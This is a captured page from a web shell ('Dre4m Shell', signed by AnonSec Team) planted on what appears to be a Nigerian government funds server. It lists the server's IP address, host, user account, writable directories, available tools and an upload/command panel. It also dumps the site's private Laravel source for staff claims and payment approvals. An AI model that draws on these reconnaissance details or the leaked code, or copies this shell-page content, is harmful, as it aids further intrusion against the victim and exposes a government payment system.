ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 52.15.83.215
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/StaffClaimController.php
<?php
//normal staff userid 6 & 237 & 243
//department head userid 26 & 241
//Executive Secretary userid 28
namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Http\Controllers\Controller;

use App\Http\Requests;
use Illuminate\Support\Facades\Storage;
use DB;
use File;
use Auth;
use Session;

class StaffClaimController extends Controller
{
    
    //make this page accessible only by authenticated user
    public function __construct(Request $request)
    {
        $this->middleware('auth');
    }
    
    
   //controllers for normal staff
    public function index()
    {
    	Session::put('username',Auth::User()->username);
    	$data['staffDetails'] = DB::table('tblStaffInformation')
    		->leftJoin('tbldepartment', 'tbldepartment.id', '=', 'tblStaffInformation.departmentID')
    		->orderBy('tblStaffInformation.full_name', 'Asc')
    		->get();
    	$data['allHeadDepartment'] = DB::table('tbldepartment')
    		->leftJoin('users', 'users.id', '=', 'tbldepartment.head')
    		->where('tbldepartment.head', '>', 0)
    		->orderBy('users.name', 'Asc')
    		->get();
      	$data['allClaims'] = DB::table('tblclaim')->where('user', Auth::user()->id)->orderBy('tblclaim.ID', 'Desc')->paginate(10);
      	
        return view('StaffClaim.staffClaim', $data);
    }
    
    //Add new claim
    public function sendClaim(Request $request)
    {
        $userDetails = DB::table('users')->where('id', Auth::user()->id)->first();
        
        $this->validate($request, [
            'title'    =>'required|string', 
            'details'  =>'required|string',
            'claimFileNo'  =>'required|string',
            'amount'   => 'required|numeric',
            'staffFileNo' => 'array',
            'claimReciever' => 'required|integer',
        ]);
        $getAllSelected = $request['staffFileNo']; 
        
        //check if now staff has been selected
        if(!is_array($getAllSelected)){
        	return back()->with('error', 'It seems you have not selected any staff! Select at least a staff from the list.');
        }
        //check if user/staff making claim is truly staff and belong to staff list
        //if(!DB::table('tblStaffInformation')->where('userID', Auth::user()->id)->first()){
        	//eturn back()->with('error', 'Sorry, you cannot make claim because your name has not be added to the staff list!');
        //}
        //accept only when staff is/are selected
        if(is_array($getAllSelected)){
            	 $success = DB::table('tblclaim')->insertGetid([
	        	'user' => $userDetails->id, 
	        	'title' => $request->input('title'), 
	        	'details' => $request->input('details'),
	        	'amount' => $request->input('amount'),
	        	'status' =>3,
	        	'created_at' =>date('Y-m-d'),
	        	'departmental_head' => $request->input('claimReciever'),
	        	'claimFileNo' 	=> $request->input('claimFileNo'),
	         ]);
	         //save all selected staff
	        foreach($getAllSelected as $staffID){
        	    DB::table('tblselectedstaffclaim')->insert([
		        'staffID' => $staffID, 
		        'claimID' => $success, 
		        'fileNo' => DB::table('tblStaffInformation')->where('staffID', $staffID)->value('fileNo'), 
		        'created_at' =>date('Y-m-d')
		    ]);
        	}

        }else{
           //save code to fallback in case
             $success = DB::table('tblclaim')->insert([
        	'user' => $userDetails->id, 
        	'title' => $request->input('title'), 
        	'details' => $request->input('details'),
        	'amount' => $request->input('amount'),
        	'status' =>3,
        	'created_at' =>date('Y-m-d'),
        	'departmental_head' => $request->input('claimReciever'),
        	'claimFileNo' 	=> $request->input('claimFileNo'),
             ]);
        }
        
      
         if($success)
         {
             return redirect('/staff-claim')->with('message', 'Your claim was submitted successfully.');
         }else
         {
            return redirect('/staff-claim')->with('error', 'An error occured while trying to submit your claim! Please try again.');
         }

    }
    
    //Start pushing claim to HOD
    public function pushClaimHod(Request $request)
    {
    	$userDetails = DB::table('users')->where('id', Auth::user()->id)->first();
        $this->validate($request, [
            'hodName'    	=>'required|integer', 
            //'staffComment'  	=>'required|string',
            'claimID'  		=>'required|string',
        ]);
        $claimID = $request['claimID'];
        $comment = $request['staffComment'];
        //Amount Validation
        $getTotalAmount 	= DB::table('tblclaim')->where('ID', $claimID)->value('amount');
        $getTotalStaffAmount	= DB::table('tblselectedstaffclaim')->where('claimID', $claimID)->sum('staffamount');
        if($getTotalAmount != $getTotalStaffAmount){ 
        	return redirect()->back()->with('error', ' Variation in total amount and staff amount! Please review the amount allotted to each staff. ');
        }
        $success = DB::table('tblclaim')->where('ID', $claimID)->update([
		'status' =>0,
	]);
	if($success){
		if( $comment != ""){
		   $this->addComment($comment, $claimID, 'STAFF');
		}
	}
        
    }//end class
    
    
    
    //controllers for department head (HOD)
    public function claimReview()
    {
        $status = Session::get('status');
        if($status === null){
        	$status ="3";
        }
        //get Head ID
        $departmentID = DB::table('tbldepartment')->where('head', Auth::User()->id)->value('id');
        if(empty($departmentID))
        {
        	return redirect()->back()->with('alert', 'Sorry, we discovered that you belong to no department!');
        }
        
        //Get all record for that department
        if($status == "3")
        {
             $data['claims'] = DB::table('tblclaim')
             	->leftjoin('tbldepartment', 'tbldepartment.id', '=', 'tblclaim.department')
	        ->leftjoin('users', 'tblclaim.user', '=', 'users.id')
	        ->select('tblclaim.ID', 'users.id','tblclaim.title', 'tblclaim.details', 'tblclaim.amount', 'users.name', 'tblclaim.status')
	        ->where('tblclaim.departmental_head', Auth::user()->id)
	        ->orderBy('tblclaim.ID', 'Desc')
	        ->get();
	 }
	 else{
	    $data['claims'] = DB::table('tblclaim')
	    	->leftjoin('tbldepartment', 'tbldepartment.id', '=', 'tblclaim.department')
	        ->leftjoin('users', 'tblclaim.user', '=', 'users.id')
	         ->where('tblclaim.departmental_head', Auth::user()->id)
        	->where('tblclaim.status', $status)
	        ->select('tblclaim.ID', 'users.id','tblclaim.title', 'tblclaim.details', 'tblclaim.amount', 'users.name', 'tblclaim.status')
	        ->orderBy('tblclaim.ID', 'Desc')
	        ->get();
	 }
	////
	        
        $data['theStatus'] = $status;
        $sta= array(['All' => 3, 'Pending' =>0, 'Approved' =>1, 'Denied' =>2]);
        $data['statuses'] = $sta[0];
        $data['comments'] = array(); /*DB::table('claimcomments')
	        ->join('users', 'claimcomments.userID', '=', 'users.id')
	        ->select('claimcomments.id AS commentID', 'claimcomments.userID', 'claimcomments.comment', 
	        'claimcomments.oldPrice', 'claimcomments.newPrice', 'claimcomments.claimID','users.name')
	        ->get();*/
	        
        return view('StaffClaim.claimReview', $data);
    }

    

    public function selectStatus(Request $request)
    {
        
        Session::forget('status');
        $status = $request->input('choosenStatus');
        Session::put('status', $status);
        
        return redirect('claim-review');
    }



    //controllers for Executive Secretary
    public function reviewES()
    {
        $department = Session::get('department');
        $data['theDepartment'] = $department;
        
        if($department === null){ 
        	$department ="0";
        }
        
        if($department ==="0")
        {
            $data['claims'] = DB::table('tblclaim')->where('status', 1)
            ->leftjoin('users', 'tblclaim.user', '=', 'users.id')->leftjoin('tbldepartment', 'tblclaim.department','=', 'tbldepartment.id')
            ->select('tblclaim.es_approval', 'tblclaim.ID', 'users.id','tblclaim.title', 'tblclaim.details', 'tblclaim.amount', 'users.name', 'tblclaim.status', 'tbldepartment.department')
            ->get();
        }else
        {
            $data['claims'] = DB::table('tblclaim')->where('status', 1)
	            ->where('tblclaim.department', $department)
	            ->leftjoin('users', 'tblclaim.user', '=', 'users.id')->leftjoin('tbldepartment', 'tblclaim.department','=', 'tbldepartment.id')
	            ->select('tblclaim.es_approval', 'tblclaim.ID', 'users.id','tblclaim.title', 'tblclaim.details', 'tblclaim.amount', 'users.name', 'tblclaim.status', 'tbldepartment.department')
	            ->get();
        }
        
        $data['departments'] = DB::table('tbldepartment')->get();
        
        $data['comments'] = array(); /*DB::table('claimcomments')
	        ->join('users', 'claimcomments.userID', '=', 'users.id')
	        ->select('claimcomments.id AS commentID', 'claimcomments.userID', 'claimcomments.comment', 
	        'claimcomments.oldPrice', 'claimcomments.newPrice', 'claimcomments.claimID','users.name')
	        ->get();*/

        
        return view('StaffClaim.claimsES',$data);
    }


    public function selectDep(Request $request)
    {
        Session::forget('department');
        $department = $request->input('choosenDep');
        Session::put('department', $department);
        
        return redirect('/review-es');
    }


   /*
    public function esClaim($id, $num)
    {
        $status = $num;
        
        if($status ==3)
        {
            $userDetails = DB::table('users')->where('id', Auth::user()->id)->first();
            $claimDetails = DB::table('tblclaim')->where('id', $id)->first();
            $success = DB::table('tblcontractDetails')->insert([
        	'fileNo' => $userDetails->username, 
        	'procurement_contractID' => $id, 
        	//'contract_Type' => $request->input('details'),
        	'ContractDescriptions' => $claimDetails->details,
        	//'economicVoult' => 1, 
        	'contractValue' => $claimDetails->amount,
        	'companyID' => 13, 
        	'beneficiary' => $userDetails->name,
        	'dateAward' => date('Y-m-d'), 
        	'approvedBy' => $userDetails->username,
        	'approvalStatus' => 1, 
        	'approvalDate' => date('Y-m-d'),
        	//'createdby' => 1, 
        	'datecreated' => $claimDetails->created_at, 
        	'openclose' => 0,
        	'paymentStatus' => 0,
        	//'file_ex' =>0,
        	'awaitingActionby' => 'DFA',
        	'voucherType' =>2,
        	//'OC_staffId' =>0,
           ]);
        if($success){
            DB::table('tblclaim')->where('ID', $id)->update(['status'=>$status]);
             return redirect('/review-es')->with('message','Claim Approved');
          }else{
            return redirect('/review-es')->with('error','Sorry, we cannot approved this transaction! Please, try again.');
          }
            
           
        }elseif( $status ==4){
           
            DB::table('tblclaim')->where('ID', $id)->update(['status'=>$status]);
            
            return redirect('/review-es')->with('alert', 'Claim Rejected');
        }else{
            return redirect('/review-es')->with('error', 'An error occured');
        }
        
    }*/
    
    
    
    public function removeStaffFromList(Request $request)
    {
    	$recordID = trim($request['getSelectedStaffID']);
    	$success = 0;
    	$data['successMessage'] = "Sorry, we cannot remove this staff! Try again.";
    	$claimID = DB::table('tblselectedstaffclaim')->where('selectedID', $recordID )->value('claimID');
    	if(DB::table('tblselectedstaffclaim')->where('selectedID', $recordID )->first()){
    		$success = DB::table('tblselectedstaffclaim')->where('selectedID', $recordID )->delete();
    		$data['successMessage'] = "- was removed from the list.";
    	}
    	//Update Original Claim Amount
    	if(!empty($claimID) or $claimID > 0){
              $this->updateClaimAmount($claimID);
        }
	//
    	if($success){
    		return response()->json($data);
    	}
    	return response()->json($data);
    }
    
    
    //Add More Staff to list
    public function addMoreStaffToList(Request $request)
    {
        $getStaffID 	= $request['addMoreStaff'];
        $staffAmount 	= $request['addMoreStaffAmount']; 
    	$claimID 	= trim($request['addMoreStaffClaimID']);
    	$success = 0;
    	$successAmount = 0;
	//details
	$countAdded = 0;
	$countDuplicate = 0;
	$staffExist = null;
	
	//get all amount as array
	$i = 0;
	if(!empty($getStaffID)){
		foreach ($staffAmount as $amount) {
			$arrayAmount[] = $amount;
		}
	    	foreach($getStaffID as $staffID){
	    	     $staffExistFileNo = DB::table('tblStaffInformation')->where('staffID', $staffID)->first('fileNo');
	    	     if( empty(DB::table('tblselectedstaffclaim')->where('staffID', $staffExistFileNo->staffID)->where('claimID', $claimID)->value('staffID')) ){
	       	        $success = DB::table('tblselectedstaffclaim')->insert([
			   'staffID' 	 => $staffID, 
			   'claimID' 	 => $claimID, 
			   'staffamount' => $arrayAmount[$i], 
			   'fileNo' 	 => $staffExistFileNo->fileNo, 
			   'created_at'  => date('Y-m-d')
		       ]);
		       $countAdded ++;
		     }else{
		     	$success = 0;
		     	$countDuplicate ++;
		     }
		     $i ++;
	        }
	        //Update Original Claim Amount
	         if(!empty($claimID) or $claimID > 0){
	            $successAmount = $this->updateClaimAmount($claimID);
	         }
		//
	}
    	if($success or $successAmount){
    		return redirect('/staff-claim')->with('message', $countAdded .' staff has/have been added successfully. We discovered that ' . $countDuplicate .' Staff was/were aready on the list.');
    	}
    	return redirect('/staff-claim')->with('error', 'Sorry, we cannot add the selected staff! It seems the selected name(s) is/are already on the list. Try again');
    }
    
    
    
    //Update Staff Claim Amount
    public function updateStaffClaimAmount(Request $request)
    {	
    	$this->validate($request, [
            'staffAmount' =>'array|max:999999999',
        ]);
    	$getClaimID = $request['getAddClaimID'];
        $selectedID 	= $request['selectedID'];
        $staffAmount 	= $request['staffAmount']; 
    	$success = 0;
    	$addTotalAmount =0.0;
    	$i = 0;
	$countUpdate = 0;
	//get all amount as array
	foreach ($staffAmount as $amount) {
		$arrayAmount[] = $amount;
	}
	//start updating
    	foreach($selectedID as $staffID){
       	      $success1 = DB::table('tblselectedstaffclaim')->where('selectedID', $staffID)->update([
		  'staffamount' => $arrayAmount[$i],
	     ]);
	     $addTotalAmount += $arrayAmount[$i];
	     $countUpdate ++;
	     $i ++;
        }
        //Update Original Claim Amount
        if(!empty($getClaimID) or $getClaimID > 0){
         	$success2 = $this->updateClaimAmount($getClaimID);
        }
	//
    	if($success1 or $success2){
    		 return redirect('/staff-claim')->with('message', $countUpdate .' staff amount was/were updated. Total Amount = '. $addTotalAmount);
    	}
    	 return redirect('/staff-claim')->with('error', 'It seems there is no update occurred!');
    }
    
    
    //Update Claim Title and Description
    public function updateClaimDetails(Request $request)
    {	$this->validate($request, [
            'claimTitle'    	=>'required|string',
            'claimDescription'  =>'required|string',
        ]);
    	$title 		= $request['claimTitle'];
        $details 	= $request['claimDescription'];
        $claimID     	= $request['getClaimID'];
        $success = 0;
        if(DB::table('tblclaim')->where('ID', $claimID)->first()){
        	$success = DB::table('tblclaim')->where('ID', $claimID)->update([
		  'Title' 	=> $title,
		  'details' 	=> $details,
		  'status' 	=> 0,
	     ]);
        }
	//
    	if($success){
    		 return redirect('/staff-claim')->with('message', 'Your claim details was updated successfully');
    	}
    	 return redirect('/staff-claim')->with('error', 'It seems there is no update occurred or we are having problem updating your claim! Please try again.');
    }
    //
    
    
    //Update Amount
    public function updateClaimAmount($claimID)
    {	
    	$success = 0;
    	if(!empty($claimID)){
        	$getAllStaffAmount = 0.0;
        	$getAllStaffAmount = DB::table('tblselectedstaffclaim')->where('claimID', $claimID)->sum('staffamount');
            	$success = DB::table('tblclaim')->where('ID', $claimID)->update([ 'amount' => $getAllStaffAmount, 'status' => 0 ]);
	}
	return $success;
    }
    
    
    //Rejection/Deny with comment
    public function claimRejection(Request $request)
    {	
    	$claimID 	= trim($request['claimID']);
    	$claimComment 	= $request['claimComment'];
    	$office 	= $request['office'];
    	$success 	= 0;
    	$message = "Not Successful! Sorry, we cannot reject this claim! Try again.";
    	if($claimComment ==""){
    		return response()->json("Please say something about this action !");
    	}
    	if(DB::table('tblclaim')->where('ID', $claimID)->first())
    	{
    		$success = DB::table('claim_comment')->insert([ 
    			'comment' 	=> $claimComment,
    			'userID' 	=> Auth::user()->id,
    			'claimID' 	=> $claimID, 
    			'office' 	=> $office, 
    			'created_at' 	=> date('Y-m-d') 
    		]);
    		$message = "Successful! Your response on this claim was successfully submitted";
    		//update claim table status
    		DB::table('tblclaim')->where('ID', $claimID)->update([ 'status' => 2 ]);
    		if($office == 'ES'){
    		    DB::table('tblclaim')->where('ID', $claimID)->update([ 'es_approval' => 2 ]);
    		}
    	}
    	if($success){
    		return response()->json($message);
    	}
    	return response()->json($message);
   
    }
    
    
    //Rejection/Deny with comment
    public function deleteClaim(Request $request)
    {	
    	$claimID 	= trim($request['claimID']);
    	$claimRemove 	= 0;
    	$success 	= 0;
    	$message = "Not Successful! Sorry, we cannot remove this claim from our record! Try again.";
    	if( (!empty($claimID)) and (DB::table('tblclaim')->where('ID', $claimID)->value('status') == 0) )
    	{	
    		$claimRemove = DB::table('tblclaim')->where('ID', $claimID)->delete();
    		$success     = DB::table('tblselectedstaffclaim')->where('claimID', $claimID)->delete();
    		$message = "Successful! Your record has been removed with all attached name(s).";
    	}else{
    		$message = "Not Successful! Sorry, we cannot remove this claim because some offices are working on this record. ";
    	}
    	if($success or $claimRemove ){
    		return response()->json($message);
    	}
    	return response()->json($message);
   
    }
    
    
     public function departmentClaim($id, $num)
    {
        $status = $num;
        
        if($status ==1)
        {
            DB::table('tblclaim')->where('ID',$id)->update(['status'=>$status]);
            return redirect('/claim-review')->with('message','Claim Approved');
        }elseif( $status ==2)
        {
            DB::table('tblclaim')->where('ID',$id)->update(['status'=>$status]);
            return redirect('/claim-review')->with('alert','Claim Rejected');
        }else{
            return redirect('/claim-review')->with('error','An error occured');
        }
        
    }//function
    
    
     //Rejection/Deny with comment
    public function approveStaffClaim(Request $request)
    {	
    	$claimID 	= trim($request['claimID']);
    	$claimComment 	= trim($request['getComment']);
    	$office 	= trim($request['office']);
    	$success 	= 0;
    	if($claimComment == ""){
    		return response()->json("Please say something about this action !");
    	}
    	$message = "Not Successful! Sorry, we cannot approve this claim! Try again.";
    	if(DB::table('tblclaim')->where('ID', $claimID)->first())
    	{
    		$message = "Successful! Your approval was successfully submitted";
    		//update claim table status
    		DB::table('tblclaim')->where('ID', $claimID)->update([ 'status' => 1 ]);
    		if(DB::table('tblclaim')->where('ID', $claimID)->value('es_approval') <> 1){
    		   DB::table('tblclaim')->where('ID', $claimID)->update([ 'es_approval' => 0 ]);
    		}
    		if($office == 'ES'){ 
    		    //
    		    $userFileDetails = DB::table('tblStaffInformation')->where('userID', Auth::user()->id)->first();
	            $claimDetails = DB::table('tblclaim')->where('ID', $claimID)->first();
	            //
	            $selectedStaffClaimFullName = DB::table('tblselectedstaffclaim')
	            	->leftJoin('tblStaffInformation', 'tblStaffInformation.staffID', '=', 'tblselectedstaffclaim.staffID')
	            	->where('tblselectedstaffclaim.claimID', $claimID)
	            	->orderBy('tblStaffInformation.staffID', 'Asc')
	            	->value('tblStaffInformation.full_name');
	            $selectedStaffClaimTotal = DB::table('tblselectedstaffclaim')->where('claimID', $claimID)->count();
	            if($selectedStaffClaimTotal == 1){
	            	$beneficiary = $selectedStaffClaimFullName;
	            }else if($selectedStaffClaimTotal == 2){
	            	$beneficiary = $selectedStaffClaimFullName ." and 1 other";
	            }else if($selectedStaffClaimTotal > 2){
	            	$beneficiary = $selectedStaffClaimFullName ." and ". ($selectedStaffClaimTotal -1). " others";
	            }else{
	            	//save code: in case
	            	$beneficiary = "";
	            }
	            //
	            $success = DB::table('tblcontractDetails')->insert([
	        	'fileNo' => DB::table('tblclaim')->where('ID', $claimID)->value('claimFileNo'),
	        	'procurement_contractID' => $claimID, 
	        	'staffid' => $claimDetails->user,
	        	//'contract_Type' => $request->input('details'),
	        	'ContractDescriptions' => $claimDetails->details,
	        	//'economicVoult' => 1, 
	        	'contractValue' => $claimDetails->amount,
	        	'companyID' => 13, 
	        	'beneficiary' => $beneficiary,
	        	'dateAward' => date('Y-m-d'), 
	        	'approvedBy' => DB::table('users')->where('id', Auth::user()->id)->value('name'),
	        	'approvalStatus' => 1, 
	        	'approvalDate' => date('Y-m-d'),
	        	//'createdby' => 1, 
	        	'datecreated' => $claimDetails->created_at, 
	        	'openclose' => 0,
	        	'paymentStatus' => 0,
	        	//'file_ex' =>0,
	        	'awaitingActionby' => 'DFA',
	        	'voucherType' =>2,
	        	//'OC_staffId' =>0,
	           ]);
    		    //
    		    if($success){
    		        if($office == 'ES'){
    		        	$officeApprovealMessage = "approved";
    		        }else{
    		        	$officeApprovealMessage = "recommended";
    		        }
    		        DB::table('tblclaim')->where('ID', $claimID)->update([ 'es_approval' => 1 ]);
    		    	$success = DB::table('claim_comment')->insert([ 
	    			'comment' 	=> $claimComment.' (' . DB::table('tblselectedstaffclaim')->where('claimID', $claimID)->sum('staffamount') .' '.$officeApprovealMessage .')',
	    			'userID' 	=> Auth::user()->id,
	    			'claimID' 	=> $claimID, 
	    			'office' 	=> $office, 
	    			'created_at' 	=> date('Y-m-d') 
    			]);
    		    }
    		   
    		}
    	}
    	if($success){
    		return response()->json($message);
    	}
    	return response()->json($message);
    }
    
    
    
    //Add more comment
    public function addMoreCommentClaim(Request $request)
    {	
    	$getClaimID 	= trim($request['claimID']);
    	$claimComment 	= trim($request['moreComment']);
    	$office 	= trim($request['office']);
    	$success 	= 0;
    	$message = "Not Successful! Sorry, we cannot add your comment ! Try again.";
    	if( DB::table('tblclaim')->where('ID', $getClaimID)->first() and ($claimComment != null) )
    	{
    		$success = DB::table('claim_comment')->insert([ 
    			'comment' 	=> $claimComment,
    			'userID' 	=> Auth::user()->id,
    			'claimID' 	=> $getClaimID, 
    			'office' 	=> $office, 
    			'created_at' 	=> date('Y-m-d') 
    		]);
    		
    	}
    	if($success){
    		$message = "Successful! Your comment has been added successfully.";
    		return response()->json($message);
    	}
    	return response()->json($message);
    }
    
    
    //Add only comment to claim DB
    public function addComment($comment, $claimID, $office)
    {
    	if( $comment != "" and $claimID != "" and $office != "" ){
		$success = DB::table('claim_comment')->insert([ 
	    		'comment' 	=> $comment,
	    		'userID' 	=> Auth::user()->id,
	    		'claimID' 	=> $claimID, 
	    		'office' 	=> $office, 
	    		'created_at' 	=> date('Y-m-d') 
	    	]);
	}
	return;
    }
    
    
    //Attach file to contract
    
    public function basePath()
    {
        return "/home/njcgov/funds.njc.gov.ng/";
    }

    //generate random numbers
    public function randomNo()
    {
        return (uniqid().rand().uniqid());
    }

    public function uploadAttachStaffClaimFile(Request $request)
    {
        Session::put('alertMessage', 1);
        $this->validate($request, [
            //'file' => 'mimes:jpeg,jpg,bmp,png,gif,svg,doc,docx,pdf',
            'file' => 'required|mimes:jpeg,jpg,bmp,png,gif,svg,pdf|max:3000',
        ]);
        $file = $request->file('file');
        $claimID = trim($request['staffClaimID']);
        //
        $messageCode = 0;
        $message     = 'Sorry, we cannot upload this file! Check file format and try again.';
        if($file or !empty($file) or $file != null) {
            //start uploading
            $fileFolder = 'staffClaimFile'; //Live
            $filePath = $this->basePath() . $fileFolder;
            $fileOriginalExtension = $file->getClientOriginalExtension();
            if (DB::table('tblclaim')->where('ID', $claimID)->orWhere('status', 3)->orWhere('status', 2)->first())
            {
                $getFileNoDB = DB::table('tblclaim')->where('ID', $claimID)->value('claimFileNo');
                $fileNewName = $getFileNoDB . '-' .$this->randomNo() . '.' . $fileOriginalExtension;
                if ($file->move($filePath, $fileNewName)) {
                    $fileUploaded = DB::table('staffclaimfile')->insert([ 
    			'claimID' 	 => $claimID,
    			'claimFileNo' 	 => $getFileNoDB,
    			'userID' 	 => Auth::user()->id,
    			'file_name' 	 => $fileNewName, 
    			'caption' 	 => trim($request['caption']), 
    			'file_extension' => $fileOriginalExtension, 
    			'created_at' 	 => date('Y-m-d'),  
    		    ]);
                    if ($fileUploaded) {
                        $messageCode = 1;
                        $message = 'File successfully uploaded.';
                        return redirect('/staff-claim')->with('message', $message);
                    } else {
                        return redirect('/staff-claim')->with('error', $message);
                    }
                }
            }else{
                return redirect('/staff-claim')->with('error', $message);
            }
        }else{
            return redirect('/staff-claim')->with('error', $message);
        }//end if
    }
    
    
  
}//End class

Anon7 - 2022
AnonSec Team